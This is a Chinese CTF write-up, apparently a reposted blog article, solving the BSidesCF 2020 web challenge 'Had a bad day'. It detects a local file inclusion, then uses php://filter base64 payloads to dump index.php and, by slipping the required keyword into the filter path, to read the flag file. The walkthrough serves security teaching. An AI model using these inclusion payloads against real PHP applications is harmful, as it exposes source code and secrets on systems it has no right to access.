文章总结: 本文解析BSidesCF2020CTFWeb题Hadabadday的完整解题过程。通过URL参数发现文件包含漏洞,利用php://filter伪协议读取源码,确认过滤机制后构造payload读取flag。文章步骤清晰,具备可操作性与实战参考价值。 综合评分: 85 文章分类: CTF,WEB安全,漏洞分析,代码审计
[BSidesCF 2020]Had a bad day
原创
devildollking devildollking
熔城Sec
2026年9月4日 09:00 辽宁
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
01
题目简介
- 题目名称:[BSidesCF 2020]Had a bad day
- 题目平台:CTF²
- 题目类型:Web
02
解题步骤
启动靶机
随便点击按钮看一下是否存在提示
发现url进行传参了,猜测可能是sql注入,先随便构造一下
/index.php?category=woofers'
发现出现报错了,报错中出现了,文件路径,并且woofers后面自动加上了.php的后缀!我们猜测是使用了文件包含。
我们这里使用伪协议去读一下index的源码,这里不能加php的后缀,因为上面说过会自动填充的
/index.php?category=php://filter/convert.base64-encode/resource=index
解码后的代码如下
<?php$file = $_GET['category'];
if (isset($file)) { if (strpos($file, "woofers") !== false || strpos($file, "meowers") !== false || strpos($file, "index")) { include($file . '.php'); } else { echo "Sorry, we currently only support woofers and meowers."; }}?>
使用GET方法获取category,赋给变量 $file,并且限定了传参的文件,否则输出报错信息,知道以上信息,我们就可以构造payload了
/index.php?category=php://filter/read=convert.base64-encode/woofers/resource=flag
解码之后就能得到flag了
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:熔城Sec devildollking devildollking《[BSidesCF 2020]Had a bad day》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。


![[BSidesCF2020]Hadabadday](/images/random/titlepic/10.jpg)






评论